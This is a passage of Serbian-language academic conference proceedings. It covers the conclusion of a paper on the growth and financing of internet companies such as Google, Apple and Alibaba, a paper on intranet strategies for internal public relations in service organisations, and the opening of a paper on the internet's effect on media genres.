Jedna od kompanija koja je ostvarila rekordnu inicijalnu ponudu i na taj način lansirala sebe kao budućeg dominantnog globalnog igrača i kreatora budućnosti globalne ekonomije jeste kompanija Google koja je 2004. godine ostvarila do tada rekordno visok IPO, čime je započet i izuzetno visok rast cene njenih akcija na berzi, od početnih 51 USD 18. aprila 2004. do 821 USD na dan 29. marta 2017. godine. Glavni prihodi kompanije su od oglašavanja i slivaju se od oglašivača iz celog sveta. Ovi prihodi imali su konstantno visok rast koji je bio u korelaciji sa rastom cena akcija, a koji je u 2016. godini dostigao oko 80 milijardi USD. Ova kompanija u mnogim oblastima zapravo kreira digitalnu budućnost i u prilici je da nametne i globalne standarde vezane za autorska prava i druge važne oblike društvenog života, pa se može zaključiti da je uticajnija i od mnogih razvijenih država.



Izvor: www.finance.yahoo.com

Google koristi mrežni efekat tako što korisnicima omogućava besplatne usluge i na taj način kreira najveću globalnu mrežu potrošača koja ga čini najatraktivnijim za oglašivače iz celog sveta, od kojih onda ubira visoke prihode za reklame. Bez tog poklona koji dobijaju korisnici, Google ne bi imao bazu niti prihode od oglašavanja, što znači da ovaj biznis model ne bi bio održiv. Stoga postoje osnove da oni koji prihvataju uslove pristupajući njegovoj mreži u budućnosti zahtevaju za to i neki vid nadoknade. Monopol koji je kreirao Google na globalnom tržištu u budućnosti biće predmet preispitivanja i osporavanja, ali je to za sada neuspešno. Pozicija ove kompanije u raznim oblastima, od bezbednosne, do prava intelektualne svojine, već je toliko jaka da je pitanje kako će svet u budućnosti uspeti da se izbori sa modelom funkcionisanja društva koji ova kompanija nameće. Možda je ključni problem u tome što je već sada Google (ali i druge velike globalne kompanije, mada u manjoj meri) monopolista kojeg potrošači vole jer im pruža besplatne, za njih korisne stvari, dok istovremeno ne postoji svest o opasnosti mrežnog monopola koji se na taj način stvara.

Druga kompanija koja ostvaruje globalnu dominaciju uspeh u velikoj meri duguje i razvijenom sistemu finansiranja koji je prošla od startapa do berze. Ta globalno dominantna kompanija je Apple, čiji je osnivač legendarni Stiv Džobs. Specifičnost uspeha internet kompanija koje su sve započele razvoj na bazi inicijalnih ideja i entuzijazma svojih osnivača, može se najbolje sagledati upravo kroz proučavanje uspeha koji je postigao Džobs i kompanija Apple.



Izvor: www.finance.yahoo.com

U svom poznatom reklamnom spotu koji je kreirao za Apple, Džobs je zapravo najbolje opisao inovatore: "Za sve koji drugačije misle. Buntovnike, idealiste, vizionare, naopake, koji ne mogu da se smeste ni u kakvu šemu, za one koji stvari vide iz drugog ugla. Možemo da ih kopiramo, da im se suprotstavimo, da im se divimo ili ih odbijemo. Jedino što ne možemo jeste da ih ignorišemo, jer oni menjaju stvari, jer oni donose napredak. Samo oni koji su dovoljno ludi da promene svet jesu oni koji to zaista i čine" [1].

Treća kompanija koja je primer uspeha koji je postigla koristeći mogućnost inicijalne javne ponude je kompanija Alibaba. Posebno je zanimljivo to što njen osnivač ne dolazi iz Silicijumske doline, već iz Kine. Džek Ma osnovao je kompaniju u svom stanu u Kini sa početnim kapitalom od samo 60.000 dolara [7]. Ova kompanija je trenutno najpoznatija u svetu elektronske trgovine (e-commerce), a bavi se još i uslugama elektronskog plaćanja, onlajn aukcijama, trgovinom putem mobilnih uređaja, onlajn transferima novca i nizom drugih aktivnosti. Poseduje i razne druge moćne kompanije poput: Taobao.com (najveći kineski šoping veb-sajt), Alipay.com (onlajn sistem za plaćanje koji funkcioniše isto kao i Paypal); Sina Weibo (kineski Twitter), Youku Tudou (kineska verzija YouTube). Kompanija koja je počela sa 18 zaposlenih sada ima oko 22.000 zaposlenih i dominira tržištem maloprodaje u celoj Kini.

Specifičnost u Kini je da su strana ulaganja i strano vasništvo ograničeni zakonom. Restrikcije na investicije implementirane su putem VIE (Variable Interest Entity), što je termin za poslovnu strukturu u kojoj investitor ne raspolaže pravima glasanja kao akcionar u pogledu upravljačkih prava. Cilj ovakvih ograničenja u Kini je da se zaštiti privreda zemlje od preobimnog broja inostranih investitora koji bi shodno svojim ulozima kontrolisali domaće kompanije. Međutim i svih 10 tehnološki orijentisanih kompanija listiranih na Njujorškoj berzi (NYSE) koriste VIE sistem, čime osnivači štite svoja upravljačka prava, što je specifično za internet kompanije.

Od 2014. godine sedište Alibabe bilo je na Kajmanskim ostrvima koja su u svetu poznata kao "poreski raj" s obzirom na to da se porez na dobit kao ni porez na kapitalnu dobit od investicija ne plaća. S obzirom na VIE sistem koji je Alibaba primenila, mnogim potencijalnim investitorima je to predstavljao problem, iz razloga što investitori koji bi kupili akcije Alibabe ne bi zapravo imali upravljačka prava shodno svojim udelima u vlasništvu kompanije. Sledeći razlog za brigu krupnih investitora za ulaganje u Alibabu vezan je za tokove novca za koje je primećeno da su usmereni od jednog povezanog lica ka drugom, bez očiglednog povoda, što može da bude indicija za korišćenje transfernih cena radi umanjenja iskazanog profita. Razlog za brigu akcionara je i to što veliki broj kupaca sumnja u kvalitet proizvoda koji se mogu kupiti preko sajtova ove kompanije.

Pored navedene tri kompanije, veliki uticaj na globalna dešavanja u svetskoj ekonomiji imaju i ostale internet kompanije koje se kotiraju uglavnom na Njujorškoj berzi i NASDAQ-u, što je, pored dolara kao svetske rezervne valute, još jedna od globalnih prednosti SAD-a na svetskoj pozornici. Evropa, a posebno Nemačka kao ekonomski najdominantnija zemlja u Evropskoj uniji, više su vezane za tradicionalne industrije koje u budućnosti mogu biti istisnute novim tehnološkim otkrićima, pa intenzivno rade na tome da nadoknade uočeno zaostajanje.

5. ZAKLJUČAK

Svet se nalazi u eri digitalne revolucije koja će drastično promeniti većinu postojećih privrednih grana, kao i ukupan način života ljudi. Razumevanje ovih promena i prilagođavanje svakog društva eri digitalizacije u svim segmentima, od obrazovanja, do modela finansiranja razvoja, presudno je za budućnost svake zemlje i svakog privrednog subjekta. U budućnosti će još više biti aktuelna čuvena Darvinova misao da neće preživeti ni najjači, ni najinteligentniji, već najprilagodljiviji. Uspešni će biti samo oni koji se prilagode promenama koje donosi digitalizacija. U protivnom može se dogoditi da čitave privredne grane i pojedine gigantske korporacije koje ne nađu odgovor na izazove digitalizacije i novih poslovnih modela nestanu sa svetske scene.

Razvoj savremenih internet kompanija koje dominiraju globalnom ekonomijom omogućen je postojanjem kvalitetnog ekosistema koji je stvorio sve uslove za njihov razvoj. To je okruženje u kojem je ostvarena simbioza između kvalitetnog preduzetnički orijentisanog obrazovanja, inovativnih pojedinaca sa dobrim idejama i rizičnog kapitala spremnog da investira u dobre poslovne ideje koje mogu naći primenu na globalnom tržištu. Sve to bilo je skoncentrisano u Silicijumskoj dolini u Kaliforniji, gde su postojali univerziteti kao što je Stanford, kreativni pojedinci koji su pristizali iz celog sveta i obilje rizičnog kapitala. Sve to rezultiralo je nastankom internet kompanija koje danas dominiraju globalnim tržištem. Evropa u ovoj oblasti zaostaje u velikoj meri, ali se poslednjih godina mnogo više pažnje posvećuje upravo stvaranju odgovarajućeg ekosistema za nastanak startap kompanija.

Za različite faze razvoja internet kompanija postoje odgovarajući oblici rizičnog kapitala. Profesionalni investitori znaju da je rizik ekstremno visok, pa zato pažljivo procenjuju sve ideje preduzetnika, ali takođe znaju i da prinos od jedne uspešne investicija može kompenzirati gubitak ostvaren finansiranjem većeg broja neuspešnih startap firmi. Poslednjih godina razvijene su i specijalizovane internet platforme preko kojih i investitori koji nisu profesionalci mogu u ograničenom iznosu ulagati u tehnološke startap firme, ali je zbog visine rizika velika verovatnoća da će samo visoko specijalizovani profesionalni investitori imati dobar odnos između prinosa i rizika. Istraživanje nastanka, razvoja i oblika finansiranja internet kompanija je preduslov da bi se mogao dati odgovor na pitanje: kako podsticati razvoj ovih komapanija u Srbiji? Koji to uslovi pogoduju njihovom razvoju, kako ih finansirati, i kako i šta treba podsticati? Ova pitanje treba sagledati u kontekstu kreiranja uslova za razvoj takozvanog ekosistema koji će pogodovati razvoju digitalne ekonomije i biti usaglašen sa budućim tehnološkim razvojem zemlje.

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INTERNET AND DEVELOPMENT PERSPECTIVES

EFEKTI INTRANETA NA UPRAVLJANJE ODNOSIMA S INTERNOM JAVNOŠĆU USLUŽNIH ORGANIZACIJA

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Rezime:

Intranet, kao komunikaciona mreža, pored mogućnosti razmene informacija, ideja i iskustava među zaposlenima, pruža benefite podizanja efikasnosti poslovne saradnje, motivisanja zaposlenih, kao i redukovanja troškova poslovanja, što čini preduslove kvalitetnog servisiranja potrošača. Snažan uticaj procesa digitalizacije, kao i rast potrebe za integrisanom upotrebom resursa, učinili su Intranet mreže veoma važnim za kreiranje svrsishodnih informacija kojima imaju pristup svi zaposleni u organizaciji. Istraživanja pokazuju da su upotrebom Intranet portala uslužne organizacije omogućile svom internom segmentu javnosti, pre svega zaposlenima i menadžmentu, podizanje kvaliteta: (a) interpersonalne i timske komunikacije, (b) koordinisanja individualnih napora i poslovnih aktivnosti koji upotrebom veb-pretraživača, postaju dostupni svim zaposlenima, kao i (c) mogućnost zajedničkog rada zaposlenih na poslovnim projektima. Oslanjanje na pervazivnu informacionu i komunikacionu tehnologiju uslovilo je dizajniranje takvih Intranet strategija koje su usmerene ka podizanju kvaliteta socijalizacije među zaposlenima i između zaposlenih i potrošača, kao i efikasnijem rešavanju kriznih situacija unutar organizacije. U ovom radu izvršena je analiza rezultata istraživanja dizajna i primene Intranet strategija, sa ciljem identifikovanja zajedničkih parametara njihovog dizajna koji bi predstavljali podršku efektivnom upravljanju odnosima s internom javnošću uslužnih organizacija.

Ključne reči:

Intranet strategija, odnosi s javnošću, interna javnost, uslužne organizacije.

1. UVOD

Dinamični uslovi savremenog poslovanja, pre svega intenziviranje konkurencije i promene potreba i ponašanja potrošača, uslovili su menjanje faktora distinktivnih kompetentnosti organizacija. Kvalitetna usluga danas predstavlja izvor diferenciranja, a time i ostvarivanja konkurentske prednosti na tržištu. Upravo to pred uslužne organizacije postavlja težak zadatak, pre svega identifikovanja novih načina kojima će ona graditi svoju operativnu i komunikacionu efikasnost kao faktore ostvarivanja konkurentske prednosti. Na prvo mesto se može svrstati efikasno pristupanje pravovremenim i svrsishodnim informacijama, neophodnim za podizanje poslovne produktivnosti i kompetentnosti, kao i adekvatno alokaciranje resursa [1], čime se stvaraju preduslovi kvalitetnog servisiranja potrošača.

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e-mail: jstankovic@singidunum.ac.rs Za razliku od reaktivnog pristupa upotrebi informacija, koji podrazumeva reagovanje na događaje i odsustvo učestvovanja u procesu generisanja informacija, proaktivni pristup podrazumeva aktivno učestvovanje organizacije u stvaranju i upotrebi kreiranih informacija, pre svega u svrhe uvođenja promena i građenja održive inovativnosti u procesu usluživanja potrošača [2].

Mnoge kompanije su shvatile da upotreba Intraneta, kao poslovne strategije, obezbeđuje pristup internim informacijama, pružajući niz prednosti, pre svega ušteda troškova, rasta efikasnosti, stabilinosti i fleksibilnosti poslovanja [3], kao i zajedničkog pristupanja znanju i idejama zaposlenih u organizaciji [4]. Praksa je pokazala da razvoj distinktivnih kompetentnosti uslužnih organizacija leži, pre svega, u upotrebi World Wide Web-a i Intranet mreža u poslovanju, koje omogućavaju upotrebu e-maila, sistema za upravljanje sadržajem, sistema za upravljanje projektima, ključnim za podršku procesima komunikacije, kolaboracije, i operativnih aktivnosti zaposlenih i menadžera, kao internih javnosti organizacije [5].

2. INTRANET I UTICAJ NA ORGANIZACIJU

Elektronske mreže za obavljanje komunikacije pre svega obuhvataju Intranet i Extranet, kao specifične komunikacione mreže bazirane na razvoju i primeni Internet tehnologije. Extranet omogućava autorizovanim korisnicima, a to su zaposleni i menadžerska struktura, da komunciraju sa spoljnim javnostima kao što su potrošači, dobavljači, finansijske institucije i drugi partneri na tržištu. Kompanija Harley-Davidson razvila je Extranet, obezbedivši zaposlenima brzu i jednostavnu komunikaciju sa angažovanim dilerima i partnerima koji obavljaju distribuciji njihovih proizvoda širom sveta [6].

Intranet, sa druge strane, predstavlja komunikacionu mrežu kojoj isključivo imaju pristup zaposleni u organizaciji. Ona obezbeđuje uklanjanje vremenskih i prostornih barijera u komunikaciji unutar organizacije, čineći razmenu informacija efikasnijom i efektivnijom. Mnoge organizacije uspostavile su Intranet komuniciranje, kako bi zaposlenima omogućile razmenu ideja, iskustava, rešenja problema, isprobanih servisnih receptura, kao i brži i kvalitetniji zajednički rad na programima i projektima. Intranet komunikacioni sistemi podstiču razvoj menadžmenta znanja (*knowledge management*), kao osnove donošenja upravljačkih odluka u organizaciji, budući da omogućavaju sprovođenje sledećih koraka svog strateškog razvoja [7]:

• Identifikovanje znanja korisnog za kompaniju

 Intranet omogućava zaposlenima dolaženje do odgovora na sledeća pitanja: Kakvo je znanje potrebno organizaciji? Iz koje oblasti poslovanja? Gde se nalazi to znanje? Ko ga poseduje? Kako se ono može korisno upotrebiti?

- Prikupljanje znanja u formi izveštaja, studije ili nekog sličnog dokumenta – Velike kompanije, među kojima je i Seven-Eleven, elektronskim putem, više puta dnevno, prikupljaju izveštaje o obavljenom poslovanju ili planovima za buduće poslovanje.
- Evaluiranje znanja Intranet omogućava procenu korisnog znanja, svrsishodnog donošenju poslovnih odluka: Gde i kako se znanje može najbolje primeniti u organizaciji? Šta takvo primenjeno znanje može doneti kompaniji? Da li se to znanje može menjati i prilagođavati, tako da postane šire upotrebljivo?
- Zajedničko korišćenje znanja u kompaniji, plasiranjem izveštaja na Intranetu, ili nekom sličnom mediju. Dobar primer je ideja formiranja ShareNet-a, inovativnog sistema namenjenog jednostavnom pristupu idejama, prikupljanju znanja i iskustava zaposlenih u kompaniji Siemens, a koja pristižu iz svih delova organizacije, proizvodnih i marketinških poslovnih jedinica ove kompanije, smeštenih u celom svetu [8].

Uticaj Intraneta na poslovanje organizacije uključuje dve ključne oblasti. Prva oblast uticaja odnosi se na podizanje poslovne efikasnosti i efektivnosti, što se ogleda u pravovremenom donošenju odluka, agilnosti organizacije kao sistema, rastu kreativnost i lakšem uočavanju šansi na tržištu [9], kao i u redukovanju troškova poslovanja i povećanju prihoda organizacije.

Druga oblast uticaja Intraneta odnosi se na podizanje efikasnosti i kvaliteta komunikacije i saradnje među internim javnostima, pre svega među zaposlenima, kao i između zaposlenih i članova menadžerske strukture [10].

Uslužne organizacije i sistemi su upravo u prilici da koriste navedene benefite Intranet strategije. Najveća švajcarska univerzitetska bolnica Inselspital, smeštena u Bernu, zapošljava preko šest hiljada lekara, administrativnog i pomoćnog osoblja. Budući da predstavlja pravi "grad u malom", menadžment ovog bolničkog megacentra odlučio je da razvije i uvede u poslovanje privatnu Intranet mrežu, koja će obezbediti brzu i kvalitetnu komunikaciju bolničkog, administrativnog i pomoćnog osoblja, menadžmenta i pacijenata. Baze podataka sadrže detaljne podatke i informacije o svakom pacijentu, koje se nakon svakog pregleda redovno ažuriraju i kojima se pristupa unošenjem osnovnih podataka o pacijentu (ime, prezime, identifikacioni broj pacijenta). Bolničko osoblje, lekari i medicinske sestre trenutno pristupaju podacima, kontinuirano se informišu o poslovnim aktivnostima, a omogućeno im je neprekidno razmenjivanje ideja i sugestija. Pacijenti nisu u obavezi da sa sobom nose medicinsku dokumentaciju, već se samo koncentrišu na lečenje i oporavak [11].

3. INTRANET I INTERNI ODNOSI S JAVNOŠĆU

Pored komunikacionih tokova, Intranet obezbeđuje zaposlenima učestovanje u poslovnim aktivnostima, praćenje i beleženje njihovog doprinosa poslovanju, razmenu dobrih iskustava, i to pre svega putem e-maila, foruma i veb-publikacija.

Prednosti upotrebe Intranet mreže, koje vode podizanju efikasnosti i operabilnosti internih javnosti organizacije, mogu se svrstati u sledeće [12]:

- informacije u vezi sa razvojem ponude (proizvoda i/ili usluga) i planiranja marketinškog nastupa postaju racionalizovane, objektivizovane, dostupne i pravovremene, doprinoseći bržem usmeravanju poslovnih aktivnosti ka ciljnim tržištima;
- redukovanje troškova kroz ostvarivanje veće produktivnosti poslovanja, kao i putem ušteda:

 a) fizičkog materijala, u slučaju proizvodnih preduzeća, i b) angažovanja radne snage, što je posebno značajno za uslužna preduzeća, budući da su u njihovom slučaju ovi troškovi visoki jer se radna snaga angažuje bez obzira na nivo tražnje za uslugama [13];
- pružanje boljeg ukupnog servisa potrošača, pre svega kada su u pitanju uslužne organizacije čija je primarna ponuda neopipljivog karaktera [13]; varijabilnost usluge čini je teško podložnom procesu standardizacije; objektivizacija informacija prikupljenih putem Intranet mreže, njihova ciljanost i svrsishodnost, pruža dragocenu podršku naporima usmerenim ka standardizaciji usluga, a time i podizanju efikasnosti uslužnog procesa, i
- distribucija informacija svim delovima preduzeća, udaljenim predstavništvima i kancelarijama na nacionalnom, regionalnom i/ili globalnom nivou.

Motivacija zaposlenih predstavlja osnov njihovog zadovoljstva, i, u slučaju uslužnih preduzeća, direktno se reflektuje na građenje odnosa sa potrošačima. Praksa je pokazala da podizanje kvaliteta internih poslovnih operacija i komunikacije među zaposlenima vodi stvaranju zadovoljstva i motivisanosti zaposlenih. Oni se trude da podižu kvalitet svoga poslovanja i kvalitetnije uslužuju potrošače što dalje vodi rastu zadovoljstva potrošača, njihovom zadržavanju, građenju njihove profitabilnosti, ali i profitabilnosti uslužne organizacije [14]. Građenje internih odnosa s javnošću aktivno utiče na pripremanje zaposlenih za prihvatanje nastupajućih promena u organizaciji, kao i na jačanje korporativne kulture.

Prema Wilkoks i saradnicima [15] interna komunikacija i građenje internih odnosa s javnošću posebnu važnost imaju u situacijama kao što su:

- krizne situacije u organizaciji;
- periodi uvođenja promena, posebno kada su u pitanju restrukturiranja, uvođenje novih poslovnih koncepata i novih tehnologija u poslovanje organizacije;
- kreiranje i održavanje odnosa sa medijima;
- procesi spajanja sa drugim preduzećima ili preuzimanja od strane drugih preduzeća;
- periodi otpuštanja zaposlenih i upravljanja gubitkom radnih mesta;
- periodi tokom i nakon značajnih promena na tržištu (pojava konkurenata, gubitak tržišnog učešća i sl.);
- periodi lansiranja promotivnih kampanja koje su od ključne važnosti za poslovanje preduzeća jer predstavljaju početak novih poslovnih aktivnosti organizacije;
- kreiranje odnosa sa finansijskom javnošću;
- kreiranje odnosa sa lokalnom zajednicom i drugim stejkholderima.

Uspostavljanje efikasne komunikacije u organizaciji posebno je važno tokom sledećih situacija u okviru upravljanja odnosima s internom javnošću: (1) u periodu uvođenja novih zaposlenih u radni proces i njihove socijalizacije, upoznavanja sa profilom kompanije, organizacionom kulturom i načinom komunikacije; (2) u situacijama kada do zaposlenih treba da pristižu aktuelne informacije o efektima poslovanja organizacije kao celine, (3) u periodima organizovanja specijanih događaja i nagrađivanja zaposlenih kao što su premije, penzije, kompenzacije, i priznanja, kada je spomenute aktivnosti neophodno blagovremeno najaviti, i (4) u trenutku prestanka zaposlenja zbog bolesti, tokom reorganizacije, otpuštanja viška radne snage ili odlazaka u penziju. U svim spomenutim slučajevima interna komunikacija mora biti planski sprovedena i u potpunosti usaglašena sa korporativnom kulturom.



Upravljanje internim odnosima s javnošću podrazumeva komunikaciju formalnim i neformalnim putem. Formalnu komunikaciju usmerava menadžment organizacije, i ona obuhvata lične kanale komunikacije (sastanci, brifinzi, prezentacije), pisane kanale komunikacije (interne novine, dopisi, godišnji izveštaji, plakati) i elektronske kanale komunikacije, te Intranet treba posmatrati kao ključni medij formalne komunikacije.

Kada su u pitanju elektronski kanali formalne komunikacije, organizaciji na raspolaganju stoje sledeći servisi Intraneta koji će doprineti rastu efikasnosti i ekonomičnosti poslovanja, kao i motivaciji i socijalizaciji zaposlenih [5]: a) Intranet pretraživači koji služe za komunikaciju unutar organizacije, putem e-maila, govorne pošte i faksa, i b) tzv. intranet *groupware*, odnosno klase kompjuterskih programa koji omogućavaju pojedincima da timski ostvaruju ciljeve i uključuju servise kao što su diskusione grupe, čet, audio i video konferencije. *Groupware* predstavlja softver namenjen uspostavljanju kolaboracije unutar timova i radnih grupa, pri čemu se saradnja među članovima uspostavlja bez obzira na prostor i vremensku zonu u kojoj se zaposleni nalaze.

4. ANALIZA DIZAJNA INTRANET STRATEGIJA I UTICAJ NA INTERNU JAVNOST

Istraživanja pokazuju da se uvođenje Intranet strategije i prilagođavanje njegovog dizajna konkretnim potrebama finansijski isplati organizacijama. O'Brien i Marakas [5] navode da, u najvećem broju slučajeva, efektivnost Intraneta opravdava troškove njegovog uvođenja, te da se ulaganja mogu isplatiti u relativno kratkom vremenskom periodu.

Istraživanje efekata Intranet strategija [9] pokazalo je da savremene uslužne organizacije prepoznaju Intranet kao medij koji direktno utiče na poboljšanje komunikacije među zaposlenima, kao i između zaposlenih i menadžera, jer obezbeđuje pristup i razmenu, ne bilo kakvih, već ciljanih, svrsishodnih informacija, ideja, znanja, kao i socijalizacije među zaposlenima, bez obzira da li se radi o zaposlenima koji su se tek uključili u poslovanje, ili onima koji u njoj već rade.

Međutim, rezultati ankete sprovedene u šest javnih preduzeća u Srbiji, od toga dva uslužnog tipa, "Pošta Srbije" i "Telekom Srbija", pokazali su da je upotreba Intraneta u poslovanju organizacija u Srbiji veoma mala, te da Intranet mreže još uvek ne predstavljaju podršku razvoju elektronskog poslovanja u ovim preduzećima [9]. Svoj stav ispitanici su argumentovali sledećim tvrdnjama: (a) Intranet se u veoma maloj meri koristi u svrhe razmene informacija i znanja među zaposlenima u organizaciji, i (b) veoma retko se koristi za prikupljanje informacija o potrošačima, kao i za edukovanje zaposlenih u vezi sa upotrebom tih informacija. Istražujući važnost elektronskog poslovanja u savremenom uslužnom sektoru, autori zaključuju da je razvoj Intranet strategije od izuzetne važnosti za opstanak organizacija u Srbiji. Intranet pruža podršku procesima inovacija u organizaciji, kao i interaktivnoj edukaciji među internim javnostima i podizanju nivoa ekspertize zaposlenih [9].

Sa druge strane, istraživanje sprovedeno u svrhe pružanja usluga informacionih tehnologija [3] pokazalo je da Intranet strategije, koje dovođe do poboljšanja poslovnih performansi i komunikacije među internim javnostima, treba da uključuju sledeće aktivnosti: promovisanje ciljeva Intraneta u svim delovima organizacije kako bi se zaposleni upoznali sa njima; preciziranje uloga i odgovornosti zaposlenih zaduženih za funkcionisanje Intraneta; upravljanje znanjem prikupljenog u organizacionim procesima; brz i jednostavan pristup informacijama; brendiranje Intranet mreže i njeno povezivanje sa korporativnom kulturom; izbor Intranet alata; ažuriranje i nadzor sistema, kao i pristupanje mreži sa udaljenosti.

Takođe, istraživanja su pokazala da, počevši od 2009. godine, savremene organizacije sve intenzivnije uvode tzv. socijalni Intranet (*Social Intranet*) [16], koji podrazumeva Intranet mrežu koja omogućava pristup društvenim mrežama koje zaposlenima stoje na raspolaganju kao sredstvo kolaboracije i deljenja znanja sa ostalim zaposlenima. *Groupware*, kao kolaborativna mreža, svoje uporište i punu mogućnost primene upravo nalazi u prednostima koje pruža socijalni Intranet.

Navedena istraživanja ukazala su na određene zajedničke karakteristike koje, u svrhe razvoja Intranet strategije i njene primene, uslužnim organizacijama mogu pružiti najveću efikasnost i efektivnost:

 Determinisanje i promovisanje ciljeva Intraneta u svim delovima organizacije, predstavlja ključan strateški korak, *conditio sine qua non* razvoja Intranet strategije, budući da (a) ciljevi Intranet mreže treba da budu usklađeni sa ostalim ciljevima organizacije; (b) implementacija tehnologije i pravila korišćenja Intraneta treba da su, takođe, usklađeni sa potrebama zaposlenih u organizaciji, i (c) zaposleni moraju biti upoznati sa uvođenjem Intraneta, što je ujedno i deo procesa njihove socijalizacije i građenja odnosa sa internim javnostima (zaposleni i menadžeri). Raeth i Smolnik [17] ističu da Intranet igra posebno značajnu ulogu u procesima socijalizacije zaposlenih koji su tek pristigli u organizaciju [18]. Prema ovom istraživanju, u informacionom smislu "pridošlice" su spore u pribavljanju informacija koje će postaviti i podeliti na Intranetu, dok su u komunikacionom smislu efektivne u procesu pretraživanja već postojećih sadržaja, budući da nastoje da se što brže prilagode novom okruženju, a što treba imati u vidu prilikom dizajniranja Intranet strategije uslužnih organizacija.

Komunikacija i upravljanje znanjem predstavljaju aktivnosti koje podržavaju razvoj produktivnih radnih mesta na kojima zaposleni razvijaju distinktivne kompetentnosti organizacije i pružaju svoj doprinos putem dobrih poslovnih ideja. Direktno uključivanje zaposlenih u komunikacione procese, učestvovanje u diskusijama i debatama, sučeljavanje ideja na dobrobit organizacije, postaju najdragoceni pristup socijalizaciji i motivisanju zaposlenih, posebno onih koji su se tek uključili u proces rada. U tom smislu, Roshan i Rao [3] predlažu sledeće oblike internog komuniciranja: saopštavanje ciljeva i strategija organizacije; zajednički pristup informacija o prošlim i nastupajućim događajima, vestima i pričama o poslovnim uspesima organizacije, čime se podiže radni moral; najavljivanje inovacija u ponudi proizvoda i usluga; plasiranje poruka u vezi sa operativnim procesom, kao i o događajima sa "prve linije" usluživanja. U prilog navedenom govori i jedan od rezultata istraživanja sprovedenog u javnim uslužnim preduzećima u Srbiji, prema kojem se šansa da zaposleni postanu demotivisani povećava ukoliko menadžment organizacije ne obrati pažnju na informacije koje su zaista i potrebne zaposlenima. Naime, ukoliko se zaposlenima dostavljaju isključivo bazične i cirkularne ali ne i dovoljno personalizovane, svrsishodne informacije, zaposleni neće imati osećaj da su takve informacije od koristi u operacionalizaciji njihovih poslovnih aktivnosti. Takođe, nedovoljno uključivanje samih zaposlenih u procesu dizajniranja Intranet strategija i poslovnih sadržaja neminovno vodi slabljenju komunikacije i sa internim (zaposleni i menadžeri) i sa eksternim javnostima organizacije (pre svega klijenti i potrošači) [9], budući da motivisanost zaposlenih naglo pada. Upravo zbog navednog, jedna od preporuka sprovedenog istraživanja ističe da razvoj Intranet portala treba da omogućiti potpunu slobodu razmene

informacija i znanja među zaposlenima, ma gde se oni fizički nalazili, u kojem god delu organizacije da obavljaju svoje poslovne aktivnosti. Upravljanje pravovremenim, svrsishodnim informacija, kojima će pristupati i deliti ih zaposleni putem Intraneta, podrazumeva formiranje korisne baze znanja koja uključuje četiri elementa, i to su: ljudi, procesi, sadržaji i tehnologija. Navedeni elementi ujedno predstavljaju i bazu kreiranja uslužne ponude [13]. U prilog tome govore i rezultati primene socijalnog Intraneta [16], čija baza komunikacije uključuje ljude (zaposlene na prvoj liniji usluživanja, menadžere i izvršne direktore), procese (upravljanje sadržajima) i tehnologiju (blogovi, komentari, forumi itd.).

Konstantno ažuriranje i inoviranje Intranet mreže i njenih sadržaja čini važan element dizajniranja Intranet strategije, a koji se direktno odražava na upravljanje odnosima sa internom javnošću. U slučaju da se podaci i alati koje Intranet koristi pravovremeno ne ažuriraju, raste rizik upotebe zastarelih informacija i pucanja linkova, što može dovesti do rasta nezadovoljstva zaposlenih, gubitka poverenja u Intranet, kao i do njegovog spontanog napuštanja. Savremene organizacije na evropskom tržištu, među kojima je veliki broj uslužnih, uspešno razvijaju socijalne Intranet mreže [16], prilagodivši tako komunikaciju među zaposlenima njihovim realno naraslim potrebama i navikama. Socijalni Intranet ovih organizacija uključuje blogove (75% preduzeća u Evropi), wiki (61% preduzeća), diskusione forume (65% preduzeća), komentare korisnika (60% preduzeća) i društvene mreže, potpuno se bazirajući na tekovinama savremenog digitalnog marketinga i komunikacija. Telindus studija sprovedena na hiljadu zaposlenih Evropljana [16] pokazala je da bi čak 39% zaposlenih, starosti između 18 i 24 godine, razmotrilo napuštanje firme, ukoliko im poslodavac ne bi omogućio pristup društvenim mrežama kao što su Facebook i YouTube, dok je još 21% njih naglasilo da bi im tako nešto veoma zasmetalo.

5. UMESTO ZAKLJUČKA

Analiza tri studije praktične primene Intraneta u poslovanju ukazala je na zajedničke tačke koje mogu pomoći u procesima dizajniranja Intranet strategija, i koje bi aktivnosti upravljanja odnosa sa internom javnošću

učinile efikasnijim i efektivnijim. Neosporni doprinos Intraneta komunikaciji, kolaboraciji i koordinisanju aktivnosti u organizaciji ostaje aktuelan, pri čemu će uslužne organizacije morati da usmere dodatne napore na inoviranje važnih aspekata svoga poslovanja, a to su pre svega ljudi, procesi i tehnologija. Uvođenjem socijalnog Intraneta ne samo da je moguć pristup informacijama, bez obzira na ograničenja u vezi sa lokacijom zaposlenih i njihovim radnim vremenom, već je način zajedničkog pristupanja i upotrebi informacija i znanja zasnovan na upotrebi društvenih mreža, prilagođen promenama u potrebama i navikama u komunikaciji savremenih internih javnosti. Dizajn Intranet strategije uslužnih organizacija, baziran na navedenim karakteristikama, direktno će uticati na rast poslovnih performansi zaposlenih, razvijati njihovo interesovanje i poverenje u organizaciju, podižući stepen njihovog zadovoljstva i zadržavanja u organizaciji, što svakako čini osnov kvalitetnog usluživanja potrošača.

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INTERNET AND DEVELOPMENT PERSPECTIVES

INTERNET KAO GLAVNI AGENS TRANSFORMACIJE ŽANROVSKIH SADRŽAJA MEDIJA

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Rezime:

Savremeni svet obogaćen je novim tehnologijama koje neverovatnom brzinom menjaju uobičajene sadržaje masovnih medija. Informacije koje su nekada danima, pa i mesecima, putovale s kraja na kraj sveta, danas, takoreći, brzinom svetlosti dospevaju do njih. Takve promene uslovile su i promenu žanrovskih struktura medija u kojima danas dominiraju vesti i informacije, a u drugi plan potisnuti su analitički tekstovi, komentari, kritike, pa čak i reportaže. Istovremeno imamo i pojavu nekih novih formi, poput sve popularnijih blogova.

Ovaj rad pokušava da pronađe odgovor na pitanje u kojoj meri je menjajući žanrovske forme vreme uticalo na verodostojnost medijskih sadržaja kojima smo svakodnevno izloženi. Takođe, ukazuje na potrebu medijskog opismenjavanja svih neposrednih aktera medija, vlasnika, urednika, novinara, korisnika medija.

Ključne reči:

mediji, žanrovi, medijska pismenost, internet, blog.

1. UVOD

Pod uticajem interneta, digitalizacije i društvenih mreža, savremeno novinarstvo transformiše se brže nego što se to u istoriji ikada dešavalo. Promene su najpre zahvatile Sjedinjene Američke Države i zapadnu Evropu, ali su se uprkos brojnim specifičnostima medijskih sistema veoma brzo proširile i na istočni deo Evrope, pa i na Srbiju. Značajnu ulogu u promenama odigrala je i ekonomska kriza koja je 2008. godine zahvatila čitav svet, zbog čega su značajno opali tiraži svih dnevnih i nedeljnih listova u svetu, pa i kod nas.

